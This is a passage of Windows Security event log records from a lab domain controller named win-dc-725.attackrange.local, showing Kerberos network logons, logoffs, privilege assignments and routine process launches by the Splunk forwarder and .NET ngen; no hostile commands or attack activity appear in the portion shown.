privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254266 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD802B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254265 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD813A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254264 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD8185 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254263 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD8228 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62440 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254262 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD8228 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254261 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD8185 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 62439 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254260 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD8185 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254259 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD813A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254258 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD813A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254257 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD802B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62438 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:02:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254256 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD802B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:02:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254270 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254271 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x328 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254272 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254274 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbcc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254273 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x102c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254275 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1244 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:19 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254277 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD8228 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:02:19 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254276 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xea8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 284 -InterruptEvent 0 -NGENProcess 15c -Pipe 2bc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254280 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcec - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 280 -InterruptEvent 0 -NGENProcess 2b8 -Pipe 284 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254279 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10bc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2b4 -InterruptEvent 0 -NGENProcess 15c -Pipe 2cc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254278 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8b8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 264 -InterruptEvent 0 -NGENProcess 2b8 -Pipe 26c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254282 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x116c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 28c -InterruptEvent 0 -NGENProcess 2b8 -Pipe 2a8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info 